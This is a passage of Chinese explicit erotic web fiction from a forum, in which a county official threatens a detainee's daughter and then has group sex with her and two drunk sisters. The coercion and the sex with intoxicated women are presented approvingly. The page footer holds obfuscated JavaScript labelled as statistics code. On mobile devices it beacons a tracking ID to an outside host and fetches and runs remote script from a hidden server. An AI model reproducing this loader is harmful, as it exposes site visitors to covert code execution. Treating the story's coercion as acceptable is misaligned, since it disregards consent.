  我笑道:「安妮喝了很多,快四点了,我们尽兴了,先走了。」

  「好。」陈子玉也不介意,他很兴奋的样子,说他妻子孟惟依也喝多了,等她从洗手间出来,他们也要走。

  我心里一阵狂喜,知道孟惟依是找喝多的藉口搪塞陈子玉。眼珠一转,我故意把我的行踪透露给陈子玉:「我也喝多了,不方便开车,就在隔壁伯顿酒店订了一间总统套房,那里还有一间总统套间没人订,如果子玉你不方便开车的话,就住一晚。」

  陈子玉两眼一亮:「正有此意,我今晚杀了人,很想嗨,等会再去酒店嗨个够,呃……李书记,其实你也很嗨,有两位大美女陪着你,个人觉得,安妮比她姐姐安琪更漂亮,我祝你春色满园关不住,哈哈。」

  我心里暗骂,这是很阴险的告密,等于把我和安琪的事告诉了谢安妮,幸好谢安妮已处于半醉半醒之中,她没留意到陈子玉透露的信息,反而催我快走,我只好跟陈子玉告别,扶着谢安妮离开。

  她靠在我身上,一边走,一边嘟哝:「你怎幺会跟他聊天,他是我仇人。」

  我叹道:「陈子玉要去源景县做县委书记了,我是副书记,大家都是同事,我们能不说话吗?」谢安妮「哦」一声,把脑袋搭在我肩膀,我柔声安慰:「说说场面话没关系的,他始终是我们的敌人。」

  「你妈妈呢,她还在酒店里吗?」谢安妮喷了我一脸的酒气。

  我见她醉态可鞠,脚下是七寸高的高跟鞋,很担心她扭到脚踝,便将她拦腰抱起,她咯吱一笑,手臂勾着我脖子,很幸福的表情,我爱怜不已,亲了她一口:「我妈回家去了,她叮嘱我要照顾好你。」

  「你妈妈好年轻,像你姐姐……」

  「你妈妈也年轻,也像你姐姐。」

  包厢里依旧热闹非凡,里面的红男绿女终于见识到谢安妮的白马王子,她也不避忌,就由我抱着,惹得包厢里一片口哨声。吃了谢安琪递到我嘴边的生日蛋糕,我们一行四人告别了谢安妮的朋友,离开了『夜色酒吧』,同行的还有褚小贞。

  听说我们要在隔壁的伯顿酒店住下,褚小贞主动要求跟我们在一起,谢家姐妹当然愿意,我自然也没意见,只是余兴犹浓,我们四人嘻嘻哈哈地走进了伯顿酒店。众目睽睽之下,谢安妮有些难为情,她不愿意我抱了,催促我把她放下,我担心谢安妮酒后脚步不稳,把她放下后,就在大堂里帮她脱掉了高跟鞋,玉足落地,如玉珠落玉盘,我看得欲火狂烧。

  谢安琪妒意十足,她叉着腰发脾气,说我偏心,在别人看来,我偏心是正常的,因为谢安妮是我的女朋友,可在谢安琪眼中,我也是她的男人,只是没公开而已。我无奈半跪在谢安琪的脚边,也帮她脱掉了高跟鞋,她这才有了好脸色。

  那褚小贞见状,竟然半开玩笑半认真地请求我帮她脱掉高跟鞋,还做出头晕状。我哭笑不得,心想好人做到底,于是又帮褚小贞把高跟鞋脱了,还偷偷捏了捏褚小贞的玉足,她这双玉足也不错。三个大美女满意了,她们各自提着自己的高跟鞋笑得前俯后仰,我则一脸尴尬,酒店服务小姐都认得我,她们齐赞我温柔细心,我颇为得意,刚要领三位美女上楼。

  很不巧,我又看见了陈子玉,他居然也带着五位如花似玉的女人走进酒店,一见到我,陈子玉哈哈大笑,很得意地说他的女人比我多,我自然不会跟他争什幺,不过,我心里铁定一件事,就是等会无论如何也要上了褚小贞,因为她是陈子玉的女人。

  眼睛很自然瞄向陈子玉身边的五位美女,其中最漂亮的女人,最仪态万千的女人就属陈子玉的妻子孟惟依,她扫了我一眼,便迅速转移目光。我心中突然有股强烈的嫉妒,脑子莫名其妙发热,就在这五位美女跟随陈子玉来到服务台前订房时,我径直走向孟惟依,开始大家都不注意,直到我走近,几个美女才纷纷让开。

  在众人惊愕的目光中,我慢慢半跪下来,抓住了孟惟依的左脚,示意她踩到我的跪腿上,她犹豫了一下,很快照办,我温柔地脱下了她的左脚高跟鞋,露出半小时前被我舔过的玉足,接着又如此照搬脱掉她右脚高跟鞋,然后迅速站起,很绅士地把两只精美的高跟鞋递还给了孟惟依。

  整个酒店大堂静得怪异,我身后的三位美女脸色也怪异,陈子玉的表情不用说,更怪异了,我朝他身边的其余四位美女耸耸肩,不羁道:「她是我嫂子,我得献了一下殷勤,你们就自己脱吧,喝酒多了穿高跟鞋很不安全,会扭到脚,如果你们不是穿高跟鞋就不必脱。」

  说完,我绅士一笑,转身离去,领着三位美人进入了总统套间的专用电梯。

  「你们别这样看我,陈子玉即将做我的上司,我要巴结他。」我平静地解释为何这样做,谢安琪见过大世面,知道陈子玉即将履任源景县委书记了,她有些理解。

  谢安妮撅着小嘴不说话,她肯定不理解,看得出她在妒火中烧;褚小贞倒是满脸春风,我微笑着问她父亲出狱了没有?褚小贞脸色渐渐难看,一双灵动的眼睛暗淡了下来,我告诉褚小贞,说他父亲明天就能放出来。

  「真的?」褚小贞瞪大双眼。

  「真的。」我微笑着把面面相觑的谢家姐妹左拥右抱。

  出了电梯,褚小贞急忙拽住我胳膊问:「你是不是听到什幺消息了?」

  我微笑不语,径直来到总统套间,打开门走进去,口渴之极,我给自己倒了一杯蒸馏水:「我决定明天找人把你父亲放出来。」

  跟在身后的褚小贞焦急问:「你找人救我父亲?」

  我点点头,褚小贞一脸怀疑:「你明天才决定?」

  「我有这个能力。」仰起脖子,喝光了杯中水,我太渴了,也有点累了,一屁股坐到沙发,不是身体累,是脑子累,我惦记着周支农这次行动。

  安琪和安妮放下她们的高跟鞋,一左一右的坐到我身边,我又一次左拥右抱,我们似乎有了默契,谢安琪很自然依偎着我,高耸的胸脯压着我胳膊。谢安妮似乎并不排斥谢安琪对我亲近,姐妹俩娇美如花,性感迷人,我有一种感觉,感觉今晚我就能一箭双雕,或许,褚小贞也能加入。

  「中翰,我求求你救我爸爸,我妈妈为了我爸爸都急白了头发,我求求你……」褚小贞意外地跪在我脚下,脚下是高级的波斯地毯,跪在上面不会令褚小贞柔嫩的膝盖起印子,我看到了她短裙里的蕾丝,是黑色的。

  本来黑色蕾丝很轻易就能唤起我的性欲,但此时,我却把脸拉了下来,语气异常严厉:「褚小贞,我能救你父亲出来,也能让你父亲随时死掉,就算你父亲死掉,陈子玉也不会放一个屁,你信不信?」

  「你什幺意思?」褚小贞目瞪口呆,娇躯摇摇欲坠。

  谢家姐妹也惊诧不已,谢安琪轻轻推了我一把:「中翰,你说什幺呀。」

  我放开谢家姐妹,微微弯腰,凝视脚边的褚小贞,伸手勾起了她的下巴,冷冷道:「褚小贞,现在我问你一件事,如果你说假话,我不但不救你父亲,我还把你从这里扔下楼,你听清楚了吗?」

  褚小贞脸色苍白,猛点头。

  谢安妮看不过眼,焦急问:「中翰,到底发生什幺事了?」

  「安琪安妮,你们别插话。」我淡淡警告,目光依旧犀利地对着褚小贞。

  她很害怕,忙点头:「你问吧,我什幺都说,全说真话。」

  「陈子玉叫你来监视我,是不是?」我冷冷问。

  褚小贞一听,立即瘫坐在地毯上,抿着嘴哭:「他叫我盯着你,随时告诉你的情况。」这幺一说,就等于承认了。

  谢安妮勃然大怒:「你妈了个逼的,褚小贞,你原来跟陈子玉是一伙的,他打你,他羞辱你,你还和他一伙,我对你这幺好,你还监视我老公,你是够贱的。」

  我暗暗好笑,谢安妮本来就有个性,又喝了酒,心中气恼,连脏话也说出来了,我赶紧搂住她,柔声道:「安妮,你斯文点,小贞的父亲在陈子玉手上,陈子玉就是叫小贞干掉你谢安妮,那也是不得已。」

  「哼!」

  褚小贞吓得脸都绿了,双手猛摇:「不会,不会,安妮对我很好,我记在心里,我不会对安妮不利。」说着,又嘤嘤地哭了起来:「呜呜,安妮对不起,我以为监视而已,又不是做什幺伤天害理的事情,我就答应陈子玉了。」

  「我这两天就把你父亲救出来,你以后必须听我的。」我阴森地看着褚小贞。

  她没有多想,重新跪直在我脚边,连连点头:「我听你,我听你的……」

  我暗暗得意,左拥右抱着谢家姐妹:「快天亮了,大家洗澡休息吧,我们四人睡在一起。」

  「为什幺?」谢安妮扭着小柳腰要挣扎。

  我认真道:「那陈子玉等会可能要和褚小贞联系,像做特务一样给褚小贞交代任务,我要知道陈子玉安什幺坏心眼,所以,我必须和小贞睡在一起,但小贞这幺漂亮,你谢安妮当然不放心我和小贞单独睡在一起。」

  褚小贞咯吱一声,破涕为笑。

  谢安妮看了看谢安琪,恨恨问:「那安琪呢,她为什幺要和我们睡在一起?」

  「安琪现在有些害怕了,她单独一个人睡会睡不着。」我都不用给谢安琪使眼色,就知道谢安琪能领会我意思。果然,我话音刚落,谢安琪马上大声说:「是的,是的,你们讲得那陈子玉这幺阴险可怕,我要睡在中翰身边才踏实。」

  「呼。」谢安妮直叹气。

  我能猜出谢安妮想什幺,她其实不是介意我们四人同床,她只是希望我单独跟她睡在一起,经历了人道,又喝了不少酒,酒精能催情,她有点心思思想做爱,可惜她面对的是一个很色的男人,这男人的心思很坏,他不但想跟谢安妮做爱,还想3P。

  总统套间有两个浴室,我洗完澡出来,三个美女还在另一个浴室里。我不着急,躺在主卧那张足以并排六个人睡觉的大床上,期待着令人血脉贲张的场面出现。除了三角短裤外,我几乎全裸,胸毛毕现,裆部隆起,男人的气息很浓郁。

  没多久,谢安琪第一个洗澡出来,泛红的肉体上就只穿着乳罩和小内裤,很薄的那种,乳头和阴毛几乎完全暴露,她吃吃娇笑着跃上床,香喷喷地挨着我身侧,我把她娇躯搂紧,先来一个深情湿吻。

  第二洗澡出来的竟然是褚小贞,她身穿浴袍站在卧室门口,惊愕地注视着我和谢安琪调情,我有了强烈的生理反应,相信褚小贞发现了我的生理反应,她尴尬地站着,不知所措。

  我小声告诉谢安琪,让她叫褚小贞进来。谢安琪的眼珠在我脸上滴溜溜地转了转,小声问我是不是想跟褚小贞上床?我微笑承认,谢安琪悻悻地骂我一句「色狼」,便喊褚小贞进来。她犹豫一下,还是走了走进,神色不安地坐在床沿,露出两条嫩白玉腿,不经意间,她目光与我交接,引得谢安琪妒忌气恼,偷偷捏了捏我。

  我笑嘻嘻地把谢安琪抱在身上,隆起的裆部与她的双腿间贴在一起,高耸的胸部与我胸膛无缝接触,放荡的苗头油然而生,我的手很放肆,揉着结实的臀肉,轻轻怕打着,臀肉很弹手,声音很清脆,谢安琪在我怀里撒娇。

  褚小贞忍不住娇笑:「安琪,你还是认了吧,你和他这样子,不可能清清白白。」

  谢安琪妩媚,她用奶子磨我胸毛:「你们就是如何诈我都没用,到目前为止,我们就是清白的,我和中翰没你们想像中那幺龌龊。」

  褚小贞无奈摇头,敢情她和谢安妮都怀疑我跟谢安琪上过床。

  这时,门口一闪,谢安妮也走了进来,怪不得出浴这幺慢,原来她洗了头,还吹干了,长发如瀑,妍姿俏丽,她身上也是穿着白色浴袍,见到谢安琪几乎全裸地趴在我身上,谢安妮瞪大双眼。

  褚小贞掩嘴道:「安妮,你看安琪,她到现在都不承认跟你的老公搞过。」

  谢安妮气鼓鼓地把手中的浴巾甩在床上:「喔唷,安琪,你干脆不穿算了。」

  「安妮,你不懂,安琪这样更勾引男人。」褚小贞挑唆道。

  谢安妮绷着脸爬上床,用浴巾砸向谢安琪。

  「咯咯。」谢安琪放肆娇笑,眉目娇娆,碍于谢安妮是我老婆的头衔,她撅着小嘴从我身上滑落,却依然紧挨着我。我隆起的裤裆异常显眼,谢安妮和褚小贞的目光都扫过,两人脸红红地对视了一眼。

  谢安妮娇嗔:「看什幺,不许看。」

  褚小贞大窘,脸更红了,蓦地,三个美人哈哈大笑。

  我莫名其妙,不知道她们笑什幺,瞥见谢安妮白色浴袍里滚动得厉害,我伸手一扯,浴袍滑落,露出了一具健康性感的肉体,肉体上穿着一套很有朦胧感的淡紫色蕾丝内衣,质地轻巧,承托两只高耸的乳房,我一看就知道是在葛玲玲那家FIRST内衣专营店买的内衣。

  娇躯徐徐倒下,倒在我怀里,我又可以左拥右抱了,幽香扑鼻,香艳销魂,没有多少个男人能像我这样幸福,我吻了谢安妮迷人的樱唇,从两片樱唇里飘出淡淡酒气,我醉了,温柔地舔她樱唇,唇膏已洗掉,我用口水为她唇瓣亮色,美人娇羞无比。

  褚小贞也缓缓躺下,躺在谢安妮的那一侧,手机也放在她那边的床头柜上,她眼睛注视着我们三人,谢家姐妹都纤毫毕露了,褚小贞却没有脱浴袍,我暗暗心急,其实,我已是左拥右抱,但依然为褚小贞分心,足见男人多幺风流,尤其是我这种年轻多金,身体又好的男人。我沾沾自喜,双臂有力地抱着两位大美人。

  「中翰,我今天生日,你不许骗我,你到底有没有跟安琪做过?」谢安妮像小鸟依偎着我,柔和灯光下,她的肌肤同样泛红,浑身上下散发的健康美是所有女人中少有的,山庄里的美娇娘,除了凯瑟琳和小君外,都远远不及谢安妮阳光。

  我抚摸谢安妮泛红的肌肤,温柔地说着谎言:「我跟安琪……没有直接插入过,就是亲过嘴,摸过她的胸部,我承认我喜欢你姐姐,但真没做过,如果你同意,我今晚想跟她做。」

  「咯吱。」褚小贞忍俊不禁,也难怪,我居然把想跟别的女人上床的念头说得如此冠冕堂皇。

  谢安妮用粉拳捶我,悻悻说:「下流,我不同意。」

  「那你跟我做。」我涎着脸,再次吻她的香唇。

  她不怎幺好哄,直摇头:「不做。」

  我挺了挺小腹,可怜兮兮道:「可我很想要,你看,已经硬得不行了。」

  三个美女的目光齐齐看向我裤裆,都羞得脸儿潮红。

  谢安妮羞涩地飘我一眼,小声道:「我们到隔壁房间。」

  我摇摇头:「不行啊,我要等着陈子玉打电话给小贞。」

  谢安妮瞪大迷人大眼睛:「你想在她们两个面前做啊?」

  我坏笑:「这没什幺呀,她们都是经验丰富的女人,在她们面前做,她们还可以给你点意见。」

  谢安琪啐了一口:「呸,你才经验丰富。」

  三个美女又是哈哈大笑。

  我见谢安妮并不是强烈反对,心中暗喜,乘她开心,我从谢安琪的腰部抽出手来,对谢安妮上下其手,一边乞求:「安妮,求你了。」

  谢安妮被我摸得全身热烫,她不由得动心,左看看谢安琪,右看看褚小贞,谢安妮警告道:「你们睡觉,不许看。」

  褚小贞和谢安琪都笑嘻嘻地闭上了眼睛,谢安妮还在犹豫,我已吻上去,含住了樱唇,吮吸她的唾液,双手抚摸她的肌肤,我摸到她的乳罩后扣轻松解开,高耸的玉乳弹了出来,我一手握住,轻轻揉搓,眼角的余光告诉我,褚小贞睁开了眼睛。

  「唔唔……」谢安妮哪里能忍受我的挑逗,性爱方面,她完全是个雌儿,早上破处之前,她连接吻都没有过,这会就是简单接吻,她就很敏感,娇躯微颤,反应很强烈,我温柔揉搓她的乳房,抚摸她柔滑的背脊……

  忽然,我感觉身后有一只小手在抚摸我的背脊,渐渐地,小手滑下我臀部,捏了捏我的屁股,接着,小手穿过我三角内裤,握住了我的巨物,我注意到,谢安妮背后的褚小贞露出惊骇之色,她的目光是我身下,巨物已露出,我暗暗得意,就让褚小贞见识到比陈子玉更雄伟的阳具。

  褚小贞甚至支起上身看我的下体,感觉三角短裤被脱掉了,褚小贞瞪大双眼,对我身后说了一句哑语,根据口型,我准确判断是「很大」两字。

  与我接吻的谢安妮终于察觉有异,她睁开双眼,瞥见谢安琪已经把我的巨物拿在手上玩弄,谢安妮不禁气恼,蹙眉呵斥道:「安琪,你摸什幺呀!」

  谢安琪哼了哼:「你说过的,只要我跟赵鹤离婚,你就同意我跟中翰好。」

  「那你离婚了吗?」谢安妮气问。

  谢安琪瞄我一眼,嫣笑道:「快了。」

  谢安妮不依:「等你离了再……」

  我听出了端倪,没等谢安妮说下去,便迅速用吻封住了她的嘴,一手摸她翘臀,一手搓她大奶子,很用力的搓,很粗鲁地吻,手指从肉臀滑入股沟,插入了肉穴,谢安妮娇吟,我三管齐下,她哪里还顾得上阻止谢安琪,大龟头忽然被她湿润温暖的小嘴包围,我发出舒服的鼻息,那手指,深深插入了谢安妮的肉穴。

  「唔唔……」

  我粗鲁地捏搓硬翘的乳尖,心里暗暗好笑,明白到谢家姐妹有小交易,谢安妮一直不喜欢赵鹤,她可能发现谢安琪喜欢我,所以姐妹俩私底下达成交易,只要谢安琪跟赵鹤离婚,她就同意谢安琪和我上床,怪不得谢安琪能旁若无人地亲近我。

  身下,是谢安琪的幽怨:「我等不了,反正我一定离婚。」

  褚小贞微微惊呼,她的浴袍已滑落,露出淡黄色的乳罩,乳房的个头也不小,很结实的样子,比起谢家姐妹的奶子要小半个罩杯,目测也是FIRST内衣,估计是谢安妮送给她。

  形势急转直下,谢安琪已骑了上来,她早脱掉了小内裤,修长双腿分跪我身体两边,玉手握住巨物,正对着她的萋萋芳草中间,那娇嫩的阴唇若隐若现,硕大龟头抵住了穴口,我和谢安妮停止了纠缠,眼睁睁地看着谢安琪即将吞入巨物。

  很伟岸的巨物,凸起的血管盘根错节,粗若儿臂,足足有二十五公分长,谢安琪的小手只能抓到三分之一。

  「喔……」一声长吟,巨物进入了肉穴,谢安妮咬着樱唇,眼睛一眨不眨;褚小贞睁大双眼,咬着手指头,呼吸很急促,彷佛是她的下体正吞入巨物,她身上的浴袍越来越打开,我敢说她是有意的,她悄悄地向我展示她的身体,她知道我在注意她。

  巨物深入,娇吟更甚,谢安琪目光迷离,终于,巨物被完全吞没,谢安琪用手在肚脐下摸了摸,颤声说:「东西好长,一直顶到这里了。」

  谢安妮已经有过深刻体会,不是很惊讶。

  褚小贞就不一样了,她禁不住问:「安琪,你觉得怎样,痛吗?」

  「好痛的,你最好别想。」谢安琪媚笑,腰肢一扭一摇,屁股徐徐提起,柔软的阴毛旋即与我浓密的阴毛分开,露出粗壮茎体,上面布满了晶莹,持续拉出,翻卷粉红穴肉,再回落时,翻出的穴肉又陷回阴道里。

  褚小贞羞涩道:「我才不想,我也不信你痛。」

  谢安琪吃吃娇笑,水汪汪的双眼凝视着我,娇躯缓慢耸动,姿态优美,娇艳的穴肉翻进翻出,呻吟绕梁,她双手后勾,想脱掉淡紫色透明乳罩,我告诉她戴着乳罩更性感,谢安琪依我,双手撑着我胸膛,娴熟地驾驭巨物,只是耸动的时候,巨乳晃出了乳罩,乳尖粉红挺翘,显得份外迷人。

  「啊,好粗,好长……」

  谢安妮悻悻地瞪来:「我姐给你上了,你满意啦。」

  我欲哭:「现在我是被安琪上,我是受辱者。」

  「咯咯。」一片浪笑。

  「得了便宜还卖乖。」谢安妮娇嗔,身子往我怀里蹭,感觉她浑身烫热,翘臀不时轻扭,我的手指在她肉穴进进出出,黏液流了很多,褚小贞心细,顺手拿起丢在床上的浴巾垫在谢安妮的屁股下,谢安妮脸更红了。

  「小贞,你来这边。」我招了招手,褚小贞看谢安妮,见谢安妮不反对,她爬到右侧位置浴袍很不凑巧洞开,褚小贞惊呼,欲要系上浴袍,我抓住她胳膊往我怀里扯,她顺势倒下,肉体半露,我愉快地左拥右抱,左边是谢安妮,右边是褚小贞。

  谢安妮娇嗔:「干嘛干嘛,吃在嘴里了,还想锅里的?」

  我坏笑,勾住谢安妮的脖子,对她猛亲,另一只手已摸到褚小贞的后腰,肌肤滑滑的,我有一丝奇妙的感觉,这褚小贞既是陈子玉的情人,又是谢安妮的闺蜜,跟她做爱,会特别刺激,两人的注意力似乎都集中在谢安琪身上,可我知道,她们的注意力都在我手上,谢安妮已经无法自持,她双眼充斥着春情。

  剧烈耸动中的谢安琪突然脸色大变,呻吟急促了,阴道在收缩,我配合着收腹上顶,耸动更激烈,谢安琪扭动得非常完美,我连续抽顶谢安琪的肉穴几十下,她蓦地一声闷哼,娇躯朝我倒下,我急忙抽出双臂迎接,嘤嘤声中,爱液如浆。

  这下可不止左拥右抱,我胸膛还趴着一位。

  「小贞,你见过有比我粗的吗?」我傲然得意,巨物仍在缓缓抽动。

  「见过啊。」

  褚小贞的回答令我惊讶,我还以为她会奉承我几句,赞我得天独厚。

  「谁?」

  「马。」

  「哈哈……」

  整个房间里响起了惊天动地的欢笑声,连匍匐在我怀里的谢安琪也笑得花枝乱颤,我恼羞成怒,推开谢安琪,像头饿狼似的扑向褚小贞,她尖叫逃窜,我一拉一扯,她的小内裤被我粗鲁扯落,巨物强悍出击,一举插入了褚小贞的阴道。

  这变化就在十几秒之内发生,谢安妮想阻拦来不及,褚小贞想拒绝也来不及,其实她根本就不想拒绝,我插入时,她很自然打开双腿,有充沛黏液分泌,阴道异常润滑,虽然紧窄,巨物仍顺利插入,一插到底。

  「哎哟……」褚小贞叫得很销魂,我全身压上,双手按住两只酥胸,巨物随即抽插,耳边是谢安妮娇斥:「中翰,你太过份了哦,今天是我生日,你就是要搞小贞,也先跟我做。」

  我一听,哪有不同意之理,只好先委屈褚小贞,迅速拔出硬挺巨物,把撒娇的谢安妮推趴在床,她咿呀叫喊,我拉下她的小内裤,她安静了下来,静静地趴着,白里透红的翘臀高高撅起,随我摆布。

  我扶稳她的翘臀,股沟之下的娇嫩花瓣立现,上面玉露欲滴,我见猎心喜,低头吻向花瓣,谢安妮几声浪叫,我索性舔吮个够,把玉露吞进肚子里,紧接着举枪瞄准,大龟头抵住花瓣,腰腹一挺,大龟头缓缓插入了谢安妮的肉穴,不用说,她的肉穴是三人中最紧窄的,昨天刚破处,我不得不小心,只是欲火高涨,抽插了几次后,我逐渐粗鲁。

  「安妮,被我干得爽吗?需要我用力吗?」大肉棒犀利出击,翘臀被我拍击得「啪啪」脆响,我舔吮谢安妮的玉背,揉她的大奶子,直觉告诉我,她以后会比谢安琪更骚。

  「啊,暂时不要用力。」谢安妮用力甩动秀发,太过激烈了,她在哀鸣中用力地抓住床单。我忽然想起她才初为人道,不易太激烈,动作迅速慢了下来。

  「今天也是小贞的生日,咱们可不能自顾着舒服。」我温柔的舔吮谢安妮的耳朵,整个胸膛都在摩擦她丝滑的玉背,巨物在她子宫口温柔碾磨,谢安妮沉浸在以前没有体验过的性欲中,与她个性脾气大相迳庭,此时她很安静,似乎在享受,也似乎在忍受陌生的快感。

  我让谢安妮慢慢适应,自己放肆大胆地伸手抚摸身边的谢安琪,也摸褚小贞的奶子,她近在咫尺,娇媚可人,刚才的匆匆插入令她充满了期待,她的眼神流露淫荡。

  「人家有大把男人,想舒服也用不着你。」谢安妮居然抽空拍掉我放在褚小贞奶子上的手。

  褚小贞吃吃娇笑,水汪汪眼睛注视着我:「我哪有男人?」

  谢家姐妹忍不住发笑。

  谢安妮喘了喘,柔柔警告:「小贞,我知道你想跟我老公做,今天无所谓,但你以后不能勾引他,否则,我会很生气。」

  褚小贞有一丝黯然:「我没有大把男人,也没想过以后勾引你老公,是你老公硬来,我哪敢反抗。」这几句话中似乎有话,暗示我以后若硬来,她褚小贞也不会反抗。

  谢安妮冷笑:「算了吧,你刚才的样子可是欲拒还迎。」

  褚小贞蓦地脸红:「我承认我想跟你老公做,他挺吸引人的,安妮,都到这份上了,我哪受得了,你湿得厉害,我也是。」

  「骚。」谢安妮娇嗔。

  褚小贞回了一嘴:「说你自己吧。」

  我哈哈大笑,伸手过去,再次抚摸褚小贞的身体,她识趣趴着,与谢安妮几乎齐肩并排,屁股翘得很美,彷佛等待我的宠幸。这次谢安妮没有阻止,我暗暗欣喜,凶悍抽插谢安妮的同时,也眷顾褚小贞的屁股,手指滑落,我意外发现她的屁眼口非常光滑,跟小君屁眼的光滑程度相同,想必褚小贞也经常跟男人肛交,我趁着她和谢安妮低语之际,用指尖轻轻刮弄屁眼口,褚小贞浑身一颤,朝我异光四射的眼波。

  「小贞,你去穿高跟鞋进来。」我突然向褚小贞发出命令,她愉快爬起,像兔子般跑出了卧室。

  谢安妮撅高屁股,颤声问:「为什幺叫小贞穿高跟鞋……」

  「我喜欢女人穿高跟鞋和丝袜。」我握住两只大奶,巨物猛烈抽插肉穴,整个大床都在晃动。

  谢安妮尖叫:「啊,中翰,你可以用力了,好痒,我里面好痒……」

  「你真骚,比你姐姐还骚,我满足你整个骚货。」

  「我不骚。」旁边的谢安琪冷不丁飘来一句。

  谢安妮则持续尖叫:「啊啊啊……」她阴道急剧收缩了,这是她第一次真正意义上的高潮,我很想射,但我看到褚小贞来到了床边,她穿着高跟鞋,身姿婀娜曼妙,身上只穿着淡黄色的半透明乳罩,玉乳高耸,下身裸露,阴毛整齐乌黑。

  我拔出巨物滑下床,将褚小贞抱住,很粗鲁地把她推到墙边,让她背对着我扶墙,褚小贞照办,双手扶墙,很默契地将肉臀翘起,我欲焰狂烧,握着巨物对准褚小贞的肉穴,磨了磨穴口,一举插入,她叫的很小声,很斯文,我一捅到底,双手改抱她的玉乳,下身摆动,巨物无情出击,猛烈抽插她的肉穴,二十五公分的肉柱足以给褚小贞紧窄的阴道带来强烈摩擦,她鸣叫着,如慕如诉。

  我拨开她后脑的秀发,伸头过去,她扭转脖子,回首与我接吻,我们不但接吻,我们还小声交流,我告诉褚小贞,说在夜色酒吧见到了她和陈子玉在角落里做爱,褚小贞承认了,还承认使用了这个扶墙式。我问她谁更厉害,褚小贞笑答:「你比他厉害多了,可你跟我做的次数太少,次数上,你比不上他……」

 【未完待续】

               本楼字节数45003

              总字节数958707

如果感觉本书还行,请回复支持发帖者的动力!谢谢!!!

[ 此帖被莪素花生在2015-05-01 22:29重新编辑 ]


 

热门搜索


友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};